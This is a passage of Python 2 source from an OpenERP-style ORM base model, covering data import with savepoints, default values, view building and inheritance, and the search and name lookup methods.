list(int)|False, messages: [Message]} """ cr.execute('SAVEPOINT model_load') messages = [] fields = map(fix_import_export_id_paths, fields) ModelData = self.pool['ir.model.data'].clear_caches() fg = self.fields_get(cr, uid, context=context) mode = 'init' current_module = '' noupdate = False ids = [] for id, xid, record, info in self._convert_records(cr, uid, self._extract_records(cr, uid, fields, data, context=context, log=messages.append), context=context, log=messages.append): try: cr.execute('SAVEPOINT model_load_save') except psycopg2.InternalError, e: # broken transaction, exit and hope the source error was # already logged if not any(message['type'] == 'error' for message in messages): messages.append(dict(info, type='error',message= u"Unknown database error: '%s'" % e)) break try: ids.append(ModelData._update(cr, uid, self._name, current_module, record, mode=mode, xml_id=xid, noupdate=noupdate, res_id=id, context=context)) cr.execute('RELEASE SAVEPOINT model_load_save') except psycopg2.Warning, e: messages.append(dict(info, type='warning', message=str(e))) cr.execute('ROLLBACK TO SAVEPOINT model_load_save') except psycopg2.Error, e: messages.append(dict( info, type='error', **PGERROR_TO_OE[e.pgcode](self, fg, info, e))) # Failed to write, log to messages, rollback savepoint (to # avoid broken transaction) and keep going cr.execute('ROLLBACK TO SAVEPOINT model_load_save') except Exception, e: message = (_('Unknown error during import:') + u' %s: %s' % (type(e), unicode(e))) moreinfo = _('Resolve other errors first') messages.append(dict(info, type='error', message=message, moreinfo=moreinfo)) # Failed for some reason, perhaps due to invalid data supplied, # rollback savepoint and keep going cr.execute('ROLLBACK TO SAVEPOINT model_load_save') if any(message['type'] == 'error' for message in messages): cr.execute('ROLLBACK TO SAVEPOINT model_load') ids = False return {'ids': ids, 'messages': messages} def _extract_records(self, cr, uid, fields_, data, context=None, log=lambda a: None): """ Generates record dicts from the data sequence. The result is a generator of dicts mapping field names to raw (unconverted, unvalidated) values. For relational fields, if sub-fields were provided the value will be a list of sub-records The following sub-fields may be set on the record (by key): * None is the name_get for the record (to use with name_create/name_search) * "id" is the External ID for the record * ".id" is the Database ID for the record """ columns = dict((k, v.column) for k, v in self._all_columns.iteritems()) # Fake columns to avoid special cases in extractor columns[None] = fields.char('rec_name') columns['id'] = fields.char('External ID') columns['.id'] = fields.integer('Database ID') # m2o fields can't be on multiple lines so exclude them from the # is_relational field rows filter, but special-case it later on to # be handled with relational fields (as it can have subfields) is_relational = lambda field: columns[field]._type in ('one2many', 'many2many', 'many2one') get_o2m_values = itemgetter_tuple( [index for index, field in enumerate(fields_) if columns[field[0]]._type == 'one2many']) get_nono2m_values = itemgetter_tuple( [index for index, field in enumerate(fields_) if columns[field[0]]._type != 'one2many']) # Checks if the provided row has any non-empty non-relational field def only_o2m_values(row, f=get_nono2m_values, g=get_o2m_values): return any(g(row)) and not any(f(row)) index = 0 while True: if index >= len(data): return row = data[index] # copy non-relational fields to record dict record = dict((field[0], value) for field, value in itertools.izip(fields_, row) if not is_relational(field[0])) # Get all following rows which have relational values attached to # the current record (no non-relational values) record_span = itertools.takewhile( only_o2m_values, itertools.islice(data, index + 1, None)) # stitch record row back on for relational fields record_span = list(itertools.chain([row], record_span)) for relfield in set( field[0] for field in fields_ if is_relational(field[0])): column = columns[relfield] # FIXME: how to not use _obj without relying on fields_get? Model = self.pool[column._obj] # get only cells for this sub-field, should be strictly # non-empty, field path [None] is for name_get column indices, subfields = zip(*((index, field[1:] or [None]) for index, field in enumerate(fields_) if field[0] == relfield)) # return all rows which have at least one value for the # subfields of relfield relfield_data = filter(any, map(itemgetter_tuple(indices), record_span)) record[relfield] = [subrecord for subrecord, _subinfo in Model._extract_records( cr, uid, subfields, relfield_data, context=context, log=log)] yield record, {'rows': { 'from': index, 'to': index + len(record_span) - 1 }} index += len(record_span) def _convert_records(self, cr, uid, records, context=None, log=lambda a: None): """ Converts records from the source iterable (recursive dicts of strings) into forms which can be written to the database (via self.create or (ir.model.data)._update) :returns: a list of triplets of (id, xid, record) :rtype: list((int|None, str|None, dict)) """ if context is None: context = {} Converter = self.pool['ir.fields.converter'] columns = dict((k, v.column) for k, v in self._all_columns.iteritems()) Translation = self.pool['ir.translation'] field_names = dict( (f, (Translation._get_source(cr, uid, self._name + ',' + f, 'field', context.get('lang')) or column.string)) for f, column in columns.iteritems()) convert = Converter.for_model(cr, uid, self, context=context) def _log(base, field, exception): type = 'warning' if isinstance(exception, Warning) else 'error' # logs the logical (not human-readable) field name for automated # processing of response, but injects human readable in message record = dict(base, type=type, field=field, message=unicode(exception.args[0]) % base) if len(exception.args) > 1 and exception.args[1]: record.update(exception.args[1]) log(record) stream = CountingStream(records) for record, extras in stream: dbid = False xid = False # name_get/name_create if None in record: pass # xid if 'id' in record: xid = record['id'] # dbid if '.id' in record: try: dbid = int(record['.id']) except ValueError: # in case of overridden id column dbid = record['.id'] if not self.search(cr, uid, [('id', '=', dbid)], context=context): log(dict(extras, type='error', record=stream.index, field='.id', message=_(u"Unknown database identifier '%s'") % dbid)) dbid = False converted = convert(record, lambda field, err:\ _log(dict(extras, record=stream.index, field=field_names[field]), field, err)) yield dbid, xid, converted, dict(extras, record=stream.index) def get_invalid_fields(self, cr, uid): return list(self._invalids) def _validate(self, cr, uid, ids, context=None): context = context or {} lng = context.get('lang') trans = self.pool.get('ir.translation') error_msgs = [] for constraint in self._constraints: fun, msg, fields = constraint # We don't pass around the context here: validation code # must always yield the same results. if not fun(self, cr, uid, ids): # Check presence of __call__ directly instead of using # callable() because it will be deprecated as of Python 3.0 if hasattr(msg, '__call__'): tmp_msg = msg(self, cr, uid, ids, context=context) if isinstance(tmp_msg, tuple): tmp_msg, params = tmp_msg translated_msg = tmp_msg % params else: translated_msg = tmp_msg else: translated_msg = trans._get_source(cr, uid, self._name, 'constraint', lng, msg) error_msgs.append( _("Error occurred while validating the field(s) %s: %s") % (', '.join(fields), translated_msg) ) self._invalids.update(fields) if error_msgs: raise except_orm('ValidateError', '\n'.join(error_msgs)) else: self._invalids.clear() def default_get(self, cr, uid, fields_list, context=None): """ Returns default values for the fields in fields_list. :param fields_list: list of fields to get the default values for (example ['field1', 'field2',]) :type fields_list: list :param context: optional context dictionary - it may contains keys for specifying certain options like ``context_lang`` (language) or ``context_tz`` (timezone) to alter the results of the call. It may contain keys in the form ``default_XXX`` (where XXX is a field name), to set or override a default value for a field. A special ``bin_size`` boolean flag may also be passed in the context to request the value of all fields.binary columns to be returned as the size of the binary instead of its contents. This can also be selectively overriden by passing a field-specific flag in the form ``bin_size_XXX: True/False`` where ``XXX`` is the name of the field. Note: The ``bin_size_XXX`` form is new in OpenERP v6.0. :return: dictionary of the default values (set on the object model class, through user preferences, or in the context) """ # trigger view init hook self.view_init(cr, uid, fields_list, context) if not context: context = {} defaults = {} # get the default values for the inherited fields for t in self._inherits.keys(): defaults.update(self.pool.get(t).default_get(cr, uid, fields_list, context)) # get the default values defined in the object for f in fields_list: if f in self._defaults: if callable(self._defaults[f]): defaults[f] = self._defaults[f](self, cr, uid, context) else: defaults[f] = self._defaults[f] fld_def = ((f in self._columns) and self._columns[f]) \ or ((f in self._inherit_fields) and self._inherit_fields[f][2]) \ or False if isinstance(fld_def, fields.property): property_obj = self.pool.get('ir.property') prop_value = property_obj.get(cr, uid, f, self._name, context=context) if prop_value: if isinstance(prop_value, (browse_record, browse_null)): defaults[f] = prop_value.id else: defaults[f] = prop_value else: if f not in defaults: defaults[f] = False # get the default values set by the user and override the default # values defined in the object ir_values_obj = self.pool.get('ir.values') res = ir_values_obj.get(cr, uid, 'default', False, [self._name]) for id, field, field_value in res: if field in fields_list: fld_def = (field in self._columns) and self._columns[field] or self._inherit_fields[field][2] if fld_def._type == 'many2one': obj = self.pool.get(fld_def._obj) if not obj.search(cr, uid, [('id', '=', field_value or False)]): continue if fld_def._type == 'many2many': obj = self.pool.get(fld_def._obj) field_value2 = [] for i in range(len(field_value or [])): if not obj.search(cr, uid, [('id', '=', field_value[i])]): continue field_value2.append(field_value[i]) field_value = field_value2 if fld_def._type == 'one2many': obj = self.pool.get(fld_def._obj) field_value2 = [] for i in range(len(field_value or [])): field_value2.append({}) for field2 in field_value[i]: if field2 in obj._columns.keys() and obj._columns[field2]._type == 'many2one': obj2 = self.pool.get(obj._columns[field2]._obj) if not obj2.search(cr, uid, [('id', '=', field_value[i][field2])]): continue elif field2 in obj._inherit_fields.keys() and obj._inherit_fields[field2][2]._type == 'many2one': obj2 = self.pool.get(obj._inherit_fields[field2][2]._obj) if not obj2.search(cr, uid, [('id', '=', field_value[i][field2])]): continue # TODO add test for many2many and one2many field_value2[i][field2] = field_value[i][field2] field_value = field_value2 defaults[field] = field_value # get the default values from the context for key in context or {}: if key.startswith('default_') and (key[8:] in fields_list): defaults[key[8:]] = context[key] return defaults def fields_get_keys(self, cr, user, context=None): res = self._columns.keys() # TODO I believe this loop can be replace by # res.extend(self._inherit_fields.key()) for parent in self._inherits: res.extend(self.pool.get(parent).fields_get_keys(cr, user, context)) return res def _rec_name_fallback(self, cr, uid, context=None): rec_name = self._rec_name if rec_name not in self._columns: rec_name = self._columns.keys()[0] if len(self._columns.keys()) > 0 else "id" return rec_name # # Overload this method if you need a window title which depends on the context # def view_header_get(self, cr, user, view_id=None, view_type='form', context=None): return False def user_has_groups(self, cr, uid, groups, context=None): """Return true if the user is at least member of one of the groups in groups_str. Typically used to resolve ``groups`` attribute in view and model definitions. :param str groups: comma-separated list of fully-qualified group external IDs, e.g.: ``base.group_user,base.group_system`` :return: True if the current user is a member of one of the given groups """ return any([self.pool.get('res.users').has_group(cr, uid, group_ext_id) for group_ext_id in groups.split(',')]) def __view_look_dom(self, cr, user, node, view_id, in_tree_view, model_fields, context=None): """Return the description of the fields in the node. In a normal call to this method, node is a complete view architecture but it is actually possible to give some sub-node (this is used so that the method can call itself recursively). Originally, the field descriptions are drawn from the node itself. But there is now some code calling fields_get() in order to merge some of those information in the architecture. """ if context is None: context = {} result = False fields = {} children = True modifiers = {} def encode(s): if isinstance(s, unicode): return s.encode('utf8') return s def check_group(node): """Apply group restrictions, may be set at view level or model level:: * at view level this means the element should be made invisible to people who are not members * at model level (exclusively for fields, obviously), this means the field should be completely removed from the view, as it is completely unavailable for non-members :return: True if field should be included in the result of fields_view_get """ if node.tag == 'field' and node.get('name') in self._all_columns: column = self._all_columns[node.get('name')].column if column.groups and not self.user_has_groups(cr, user, groups=column.groups, context=context): node.getparent().remove(node) fields.pop(node.get('name'), None) # no point processing view-level ``groups`` anymore, return return False if node.get('groups'): can_see = self.user_has_groups(cr, user, groups=node.get('groups'), context=context) if not can_see: node.set('invisible', '1') modifiers['invisible'] = True if 'attrs' in node.attrib: del(node.attrib['attrs']) #avoid making field visible later del(node.attrib['groups']) return True if node.tag in ('field', 'node', 'arrow'): if node.get('object'): attrs = {} views = {} xml = "<form>" for f in node: if f.tag == 'field': xml += etree.tostring(f, encoding="utf-8") xml += "</form>" new_xml = etree.fromstring(encode(xml)) ctx = context.copy() ctx['base_model_name'] = self._name xarch, xfields = self.pool.get(node.get('object')).__view_look_dom_arch(cr, user, new_xml, view_id, ctx) views['form'] = { 'arch': xarch, 'fields': xfields } attrs = {'views': views} fields = xfields if node.get('name'): attrs = {} try: if node.get('name') in self._columns: column = self._columns[node.get('name')] else: column = self._inherit_fields[node.get('name')][2] except Exception: column = False if column: relation = self.pool.get(column._obj) children = False views = {} for f in node: if f.tag in ('form', 'tree', 'graph', 'kanban'): node.remove(f) ctx = context.copy() ctx['base_model_name'] = self._name xarch, xfields = relation.__view_look_dom_arch(cr, user, f, view_id, ctx) views[str(f.tag)] = { 'arch': xarch, 'fields': xfields } attrs = {'views': views} if node.get('widget') and node.get('widget') == 'selection': # Prepare the cached selection list for the client. This needs to be # done even when the field is invisible to the current user, because # other events could need to change its value to any of the selectable ones # (such as on_change events, refreshes, etc.) # If domain and context are strings, we keep them for client-side, otherwise # we evaluate them server-side to consider them when generating the list of # possible values # TODO: find a way to remove this hack, by allow dynamic domains dom = [] if column._domain and not isinstance(column._domain, basestring): dom = list(column._domain) dom += eval(node.get('domain', '[]'), {'uid': user, 'time': time}) search_context = dict(context) if column._context and not isinstance(column._context, basestring): search_context.update(column._context) attrs['selection'] = relation._name_search(cr, user, '', dom, context=search_context, limit=None, name_get_uid=1) if (node.get('required') and not int(node.get('required'))) or not column.required: attrs['selection'].append((False, '')) fields[node.get('name')] = attrs field = model_fields.get(node.get('name')) if field: transfer_field_to_modifiers(field, modifiers) elif node.tag in ('form', 'tree'): result = self.view_header_get(cr, user, False, node.tag, context) if result: node.set('string', result) in_tree_view = node.tag == 'tree' elif node.tag == 'calendar': for additional_field in ('date_start', 'date_delay', 'date_stop', 'color'): if node.get(additional_field): fields[node.get(additional_field)] = {} if not check_group(node): # node must be removed, no need to proceed further with its children return fields # The view architeture overrides the python model. # Get the attrs before they are (possibly) deleted by check_group below transfer_node_to_modifiers(node, modifiers, context, in_tree_view) # TODO remove attrs couterpart in modifiers when invisible is true ? # translate view if 'lang' in context: if node.text and node.text.strip(): trans = self.pool.get('ir.translation')._get_source(cr, user, self._name, 'view', context['lang'], node.text.strip()) if trans: node.text = node.text.replace(node.text.strip(), trans) if node.tail and node.tail.strip(): trans = self.pool.get('ir.translation')._get_source(cr, user, self._name, 'view', context['lang'], node.tail.strip()) if trans: node.tail = node.tail.replace(node.tail.strip(), trans) if node.get('string') and not result: trans = self.pool.get('ir.translation')._get_source(cr, user, self._name, 'view', context['lang'], node.get('string')) if trans == node.get('string') and ('base_model_name' in context): # If translation is same as source, perhaps we'd have more luck with the alternative model name # (in case we are in a mixed situation, such as an inherited view where parent_view.model != model trans = self.pool.get('ir.translation')._get_source(cr, user, context['base_model_name'], 'view', context['lang'], node.get('string')) if trans: node.set('string', trans) for attr_name in ('confirm', 'sum', 'avg', 'help', 'placeholder'): attr_value = node.get(attr_name) if attr_value: trans = self.pool.get('ir.translation')._get_source(cr, user, self._name, 'view', context['lang'], attr_value) if trans: node.set(attr_name, trans) for f in node: if children or (node.tag == 'field' and f.tag in ('filter','separator')): fields.update(self.__view_look_dom(cr, user, f, view_id, in_tree_view, model_fields, context)) transfer_modifiers_to_node(modifiers, node) return fields def _disable_workflow_buttons(self, cr, user, node): """ Set the buttons in node to readonly if the user can't activate them. """ if user == 1: # admin user can always activate workflow buttons return node # TODO handle the case of more than one workflow for a model or multiple # transitions with different groups and same signal usersobj = self.pool.get('res.users') buttons = (n for n in node.getiterator('button') if n.get('type') != 'object') for button in buttons: user_groups = usersobj.read(cr, user, [user], ['groups_id'])[0]['groups_id'] cr.execute("""SELECT DISTINCT t.group_id FROM wkf INNER JOIN wkf_activity a ON a.wkf_id = wkf.id INNER JOIN wkf_transition t ON (t.act_to = a.id) WHERE wkf.osv = %s AND t.signal = %s AND t.group_id is NOT NULL """, (self._name, button.get('name'))) group_ids = [x[0] for x in cr.fetchall() if x[0]] can_click = not group_ids or bool(set(user_groups).intersection(group_ids)) button.set('readonly', str(int(not can_click))) return node def __view_look_dom_arch(self, cr, user, node, view_id, context=None): """ Return an architecture and a description of all the fields. The field description combines the result of fields_get() and __view_look_dom(). :param node: the architecture as as an etree :return: a tuple (arch, fields) where arch is the given node as a string and fields is the description of all the fields. """ fields = {} if node.tag == 'diagram': if node.getchildren()[0].tag == 'node': node_model = self.pool.get(node.getchildren()[0].get('object')) node_fields = node_model.fields_get(cr, user, None, context) fields.update(node_fields) if not node.get("create") and not node_model.check_access_rights(cr, user, 'create', raise_exception=False): node.set("create", 'false') if node.getchildren()[1].tag == 'arrow': arrow_fields = self.pool.get(node.getchildren()[1].get('object')).fields_get(cr, user, None, context) fields.update(arrow_fields) else: fields = self.fields_get(cr, user, None, context) fields_def = self.__view_look_dom(cr, user, node, view_id, False, fields, context=context) node = self._disable_workflow_buttons(cr, user, node) if node.tag in ('kanban', 'tree', 'form', 'gantt'): for action, operation in (('create', 'create'), ('delete', 'unlink'), ('edit', 'write')): if not node.get(action) and not self.check_access_rights(cr, user, operation, raise_exception=False): node.set(action, 'false') arch = etree.tostring(node, encoding="utf-8").replace('\t', '') for k in fields.keys(): if k not in fields_def: del fields[k] for field in fields_def: if field == 'id': # sometime, the view may contain the (invisible) field 'id' needed for a domain (when 2 objects have cross references) fields['id'] = {'readonly': True, 'type': 'integer', 'string': 'ID'} elif field in fields: fields[field].update(fields_def[field]) else: cr.execute('select name, model from ir_ui_view where (id=%s or inherit_id=%s) and arch like %s', (view_id, view_id, '%%%s%%' % field)) res = cr.fetchall()[:] model = res[0][1] res.insert(0, ("Can't find field '%s' in the following view parts composing the view of object model '%s':" % (field, model), None)) msg = "\n * ".join([r[0] for r in res]) msg += "\n\nEither you wrongly customized this view, or some modules bringing those views are not compatible with your current data model" _logger.error(msg) raise except_orm('View error', msg) return arch, fields def _get_default_form_view(self, cr, user, context=None): """ Generates a default single-line form view using all fields of the current model except the m2m and o2m ones. :param cr: database cursor :param int user: user id :param dict context: connection context :returns: a form view as an lxml document :rtype: etree._Element """ view = etree.Element('form', string=self._description) # TODO it seems fields_get can be replaced by _all_columns (no need for translation) for field, descriptor in self.fields_get(cr, user, context=context).iteritems(): if descriptor['type'] in ('one2many', 'many2many'): continue etree.SubElement(view, 'field', name=field) if descriptor['type'] == 'text': etree.SubElement(view, 'newline') return view def _get_default_search_view(self, cr, user, context=None): """ Generates a single-field search view, based on _rec_name. :param cr: database cursor :param int user: user id :param dict context: connection context :returns: a tree view as an lxml document :rtype: etree._Element """ view = etree.Element('search', string=self._description) etree.SubElement(view, 'field', name=self._rec_name_fallback(cr, user, context)) return view def _get_default_tree_view(self, cr, user, context=None): """ Generates a single-field tree view, based on _rec_name. :param cr: database cursor :param int user: user id :param dict context: connection context :returns: a tree view as an lxml document :rtype: etree._Element """ view = etree.Element('tree', string=self._description) etree.SubElement(view, 'field', name=self._rec_name_fallback(cr, user, context)) return view def _get_default_calendar_view(self, cr, user, context=None): """ Generates a default calendar view by trying to infer calendar fields from a number of pre-set attribute names :param cr: database cursor :param int user: user id :param dict context: connection context :returns: a calendar view :rtype: etree._Element """ def set_first_of(seq, in_, to): """Sets the first value of ``seq`` also found in ``in_`` to the ``to`` attribute of the view being closed over. Returns whether it's found a suitable value (and set it on the attribute) or not """ for item in seq: if item in in_: view.set(to, item) return True return False view = etree.Element('calendar', string=self._description) etree.SubElement(view, 'field', self._rec_name_fallback(cr, user, context)) if self._date_name not in self._columns: date_found = False for dt in ['date', 'date_start', 'x_date', 'x_date_start']: if dt in self._columns: self._date_name = dt date_found = True break if not date_found: raise except_orm(_('Invalid Object Architecture!'), _("Insufficient fields for Calendar View!")) view.set('date_start', self._date_name) set_first_of(["user_id", "partner_id", "x_user_id", "x_partner_id"], self._columns, 'color') if not set_first_of(["date_stop", "date_end", "x_date_stop", "x_date_end"], self._columns, 'date_stop'): if not set_first_of(["date_delay", "planned_hours", "x_date_delay", "x_planned_hours"], self._columns, 'date_delay'): raise except_orm( _('Invalid Object Architecture!'), _("Insufficient fields to generate a Calendar View for %s, missing a date_stop or a date_delay" % self._name)) return view # # if view_id, view_type is not required # def fields_view_get(self, cr, user, view_id=None, view_type='form', context=None, toolbar=False, submenu=False): """ Get the detailed composition of the requested view like fields, model, view architecture :param cr: database cursor :param user: current user id :param view_id: id of the view or None :param view_type: type of the view to return if view_id is None ('form', tree', ...) :param context: context arguments, like lang, time zone :param toolbar: true to include contextual actions :param submenu: deprecated :return: dictionary describing the composition of the requested view (including inherited views and extensions) :raise AttributeError: * if the inherited view has unknown position to work with other than 'before', 'after', 'inside', 'replace' * if some tag other than 'position' is found in parent view :raise Invalid ArchitectureError: if there is view type other than form, tree, calendar, search etc defined on the structure """ if context is None: context = {} def encode(s): if isinstance(s, unicode): return s.encode('utf8') return s def raise_view_error(error_msg, child_view_id): view, child_view = self.pool.get('ir.ui.view').browse(cr, user, [view_id, child_view_id], context) error_msg = error_msg % {'parent_xml_id': view.xml_id} raise AttributeError("View definition error for inherited view '%s' on model '%s': %s" % (child_view.xml_id, self._name, error_msg)) def locate(source, spec): """ Locate a node in a source (parent) architecture. Given a complete source (parent) architecture (i.e. the field `arch` in a view), and a 'spec' node (a node in an inheriting view that specifies the location in the source view of what should be changed), return (if it exists) the node in the source view matching the specification. :param source: a parent architecture to modify :param spec: a modifying node in an inheriting view :return: a node in the source matching the spec """ if spec.tag == 'xpath': nodes = source.xpath(spec.get('expr')) return nodes[0] if nodes else None elif spec.tag == 'field': # Only compare the field name: a field can be only once in a given view # at a given level (and for multilevel expressions, we should use xpath # inheritance spec anyway). for node in source.getiterator('field'): if node.get('name') == spec.get('name'): return node return None for node in source.getiterator(spec.tag): if isinstance(node, SKIPPED_ELEMENT_TYPES): continue if all(node.get(attr) == spec.get(attr) \ for attr in spec.attrib if attr not in ('position','version')): # Version spec should match parent's root element's version if spec.get('version') and spec.get('version') != source.get('version'): return None return node return None def apply_inheritance_specs(source, specs_arch, inherit_id=None): """ Apply an inheriting view. Apply to a source architecture all the spec nodes (i.e. nodes describing where and what changes to apply to some parent architecture) given by an inheriting view. :param source: a parent architecture to modify :param specs_arch: a modifying architecture in an inheriting view :param inherit_id: the database id of the inheriting view :return: a modified source where the specs are applied """ specs_tree = etree.fromstring(encode(specs_arch)) # Queue of specification nodes (i.e. nodes describing where and # changes to apply to some parent architecture). specs = [specs_tree] while len(specs): spec = specs.pop(0) if isinstance(spec, SKIPPED_ELEMENT_TYPES): continue if spec.tag == 'data': specs += [ c for c in specs_tree ] continue node = locate(source, spec) if node is not None: pos = spec.get('position', 'inside') if pos == 'replace': if node.getparent() is None: source = copy.deepcopy(spec[0]) else: for child in spec: node.addprevious(child) node.getparent().remove(node) elif pos == 'attributes': for child in spec.getiterator('attribute'): attribute = (child.get('name'), child.text or None) if attribute[1]: node.set(attribute[0], attribute[1]) else: del(node.attrib[attribute[0]]) else: sib = node.getnext() for child in spec: if pos == 'inside': node.append(child) elif pos == 'after': if sib is None: node.addnext(child) node = child else: sib.addprevious(child) elif pos == 'before': node.addprevious(child) else: raise_view_error("Invalid position value: '%s'" % pos, inherit_id) else: attrs = ''.join([ ' %s="%s"' % (attr, spec.get(attr)) for attr in spec.attrib if attr != 'position' ]) tag = "<%s%s>" % (spec.tag, attrs) if spec.get('version') and spec.get('version') != source.get('version'): raise_view_error("Mismatching view API version for element '%s': %r vs %r in parent view '%%(parent_xml_id)s'" % \ (tag, spec.get('version'), source.get('version')), inherit_id) raise_view_error("Element '%s' not found in parent view '%%(parent_xml_id)s'" % tag, inherit_id) return source def apply_view_inheritance(cr, user, source, inherit_id): """ Apply all the (directly and indirectly) inheriting views. :param source: a parent architecture to modify (with parent modifications already applied) :param inherit_id: the database view_id of the parent view :return: a modified source where all the modifying architecture are applied """ sql_inherit = self.pool.get('ir.ui.view').get_inheriting_views_arch(cr, user, inherit_id, self._name, context=context) for (view_arch, view_id) in sql_inherit: source = apply_inheritance_specs(source, view_arch, view_id) source = apply_view_inheritance(cr, user, source, view_id) return source result = {'type': view_type, 'model': self._name} sql_res = False parent_view_model = None view_ref = context.get(view_type + '_view_ref') # Search for a root (i.e. without any parent) view. while True: if view_ref and not view_id: if '.' in view_ref: module, view_ref = view_ref.split('.', 1) cr.execute("SELECT res_id FROM ir_model_data WHERE model='ir.ui.view' AND module=%s AND name=%s", (module, view_ref)) view_ref_res = cr.fetchone() if view_ref_res: view_id = view_ref_res[0] if view_id: cr.execute("""SELECT arch,name,field_parent,id,type,inherit_id,model FROM ir_ui_view WHERE id=%s""", (view_id,)) else: cr.execute("""SELECT arch,name,field_parent,id,type,inherit_id,model FROM ir_ui_view WHERE model=%s AND type=%s AND inherit_id IS NULL ORDER BY priority""", (self._name, view_type)) sql_res = cr.dictfetchone() if not sql_res: break view_id = sql_res['inherit_id'] or sql_res['id'] parent_view_model = sql_res['model'] if not sql_res['inherit_id']: break # if a view was found if sql_res: source = etree.fromstring(encode(sql_res['arch'])) result.update( arch=apply_view_inheritance(cr, user, source, sql_res['id']), type=sql_res['type'], view_id=sql_res['id'], name=sql_res['name'], field_parent=sql_res['field_parent'] or False) else: # otherwise, build some kind of default view try: view = getattr(self, '_get_default_%s_view' % view_type)( cr, user, context) except AttributeError: # what happens here, graph case? raise except_orm(_('Invalid Architecture!'), _("There is no view of type '%s' defined for the structure!") % view_type) result.update( arch=view, name='default', field_parent=False, view_id=0) if parent_view_model != self._name: ctx = context.copy() ctx['base_model_name'] = parent_view_model else: ctx = context xarch, xfields = self.__view_look_dom_arch(cr, user, result['arch'], view_id, context=ctx) result['arch'] = xarch result['fields'] = xfields if toolbar: def clean(x): x = x[2] for key in ('report_sxw_content', 'report_rml_content', 'report_sxw', 'report_rml', 'report_sxw_content_data', 'report_rml_content_data'): if key in x: del x[key] return x ir_values_obj = self.pool.get('ir.values') resprint = ir_values_obj.get(cr, user, 'action', 'client_print_multi', [(self._name, False)], False, context) resaction = ir_values_obj.get(cr, user, 'action', 'client_action_multi', [(self._name, False)], False, context) resrelate = ir_values_obj.get(cr, user, 'action', 'client_action_relate', [(self._name, False)], False, context) resaction = [clean(action) for action in resaction if view_type == 'tree' or not action[2].get('multi')] resprint = [clean(print_) for print_ in resprint if view_type == 'tree' or not print_[2].get('multi')] #When multi="True" set it will display only in More of the list view resrelate = [clean(action) for action in resrelate if (action[2].get('multi') and view_type == 'tree') or (not action[2].get('multi') and view_type == 'form')] for x in itertools.chain(resprint, resaction, resrelate): x['string'] = x['name'] result['toolbar'] = { 'print': resprint, 'action': resaction, 'relate': resrelate } return result _view_look_dom_arch = __view_look_dom_arch def search_count(self, cr, user, args, context=None): if not context: context = {} res = self.search(cr, user, args, context=context, count=True) if isinstance(res, list): return len(res) return res def search(self, cr, user, args, offset=0, limit=None, order=None, context=None, count=False): """ Search for records based on a search domain. :param cr: database cursor :param user: current user id :param args: list of tuples specifying the search domain [('field_name', 'operator', value), ...]. Pass an empty list to match all records. :param offset: optional number of results to skip in the returned values (default: 0) :param limit: optional max number of records to return (default: **None**) :param order: optional columns to sort by (default: self._order=id ) :param context: optional context arguments, like lang, time zone :type context: dictionary :param count: optional (default: **False**), if **True**, returns only the number of records matching the criteria, not their ids :return: id or list of ids of records matching the criteria :rtype: integer or list of integers :raise AccessError: * if user tries to bypass access rules for read on the requested object. **Expressing a search domain (args)** Each tuple in the search domain needs to have 3 elements, in the form: **('field_name', 'operator', value)**, where: * **field_name** must be a valid name of field of the object model, possibly following many-to-one relationships using dot-notation, e.g 'street' or 'partner_id.country' are valid values. * **operator** must be a string with a valid comparison operator from this list: ``=, !=, >, >=, <, <=, like, ilike, in, not in, child_of, parent_left, parent_right`` The semantics of most of these operators are obvious. The ``child_of`` operator will look for records who are children or grand-children of a given record, according to the semantics of this model (i.e following the relationship field named by ``self._parent_name``, by default ``parent_id``. * **value** must be a valid value to compare with the values of **field_name**, depending on its type. Domain criteria can be combined using 3 logical operators than can be added between tuples: '**&**' (logical AND, default), '**|**' (logical OR), '**!**' (logical NOT). These are **prefix** operators and the arity of the '**&**' and '**|**' operator is 2, while the arity of the '**!**' is just 1. Be very careful about this when you combine them the first time. Here is an example of searching for Partners named *ABC* from Belgium and Germany whose language is not english :: [('name','=','ABC'),'!',('language.code','=','en_US'),'|',('country_id.code','=','be'),('country_id.code','=','de')) The '&' is omitted as it is the default, and of course we could have used '!=' for the language, but what this domain really represents is:: (name is 'ABC' AND (language is NOT english) AND (country is Belgium OR Germany)) """ return self._search(cr, user, args, offset=offset, limit=limit, order=order, context=context, count=count) def name_get(self, cr, user, ids, context=None): """Returns the preferred display value (text representation) for the records with the given ``ids``. By default this will be the value of the ``name`` column, unless the model implements a custom behavior. Can sometimes be seen as the inverse function of :meth:`~.name_search`, but it is not guaranteed to be. :rtype: list(tuple) :return: list of pairs ``(id,text_repr)`` for all records with the given ``ids``. """ if not ids: return [] if isinstance(ids, (int, long)): ids = [ids] if self._rec_name in self._all_columns: rec_name_column = self._all_columns[self._rec_name].column return [(r['id'], rec_name_column.as_display_name(cr, user, self, r[self._rec_name], context=context)) for r in self.read(cr, user, ids, [self._rec_name], load='_classic_write', context=context)] return [(id, "%s,%s" % (self._name, id)) for id in ids] def name_search(self, cr, user, name='', args=None, operator='ilike', context=None, limit=100): """Search for records that have a display name matching the given ``name`` pattern if compared with the given ``operator``, while also matching the optional search domain (``args``). This is used for example to provide suggestions based on a partial value for a relational field. Sometimes be seen as the inverse function of :meth:`~.name_get`, but it is not guaranteed to be. This method is equivalent to calling :meth:`~.search` with a search domain based on ``name`` and then :meth:`~.name_get` on the result of the search. :param list args: optional search domain (see :meth:`~.search` for syntax), specifying further restrictions :param str operator: domain operator for matching the ``name`` pattern, such as ``'like'`` or ``'='``. :param int limit: optional max number of records to return :rtype: list :return: list of pairs ``(id,text_repr)`` for all matching records. """ return self._name_search(cr, user, name, args, operator, context, limit) def name_create(self, cr, uid, name, context=None): """Creates a new record by calling :meth:`~.create` with only one value provided: the name of the new record (``_rec_name`` field). The new record will also be initialized with any default values applicable to this model, or provided through the context. The usual behavior of :meth:`~.create` applies. Similarly, this method may raise an exception if the model has multiple required fields and some do not have default values. :param name: name of the record to create :rtype: tuple :return: the :meth:`~.name_get` pair value for the newly-created record. """ rec_id = self.create(cr, uid, {self._rec_name: name}, context) return self.name_get(cr, uid, [rec_id], context)[0] # private implementation of name_search, allows passing a dedicated user for the name_get part to # solve some access rights issues def _name_search(self, cr, user, name='', args=None, operator='ilike', context=None, limit=100, name_get_uid=None): if args is None: args = [] if context is None: context = {} args = args[:] # optimize out the default criterion of ``ilike ''`` that matches everything if not (name == '' and operator == 'ilike'): args += [(self._rec_name, operator, name)] access_rights_uid = name_get_uid or user ids = self._search(cr, user, args, limit=limit, context=context, access_rights_uid=access_rights_uid) res = self.name_get(cr, access_rights_uid, ids, context) return res def read_string(self, cr, uid, id, langs, fields=None, context=None): res = {} res2 = {} 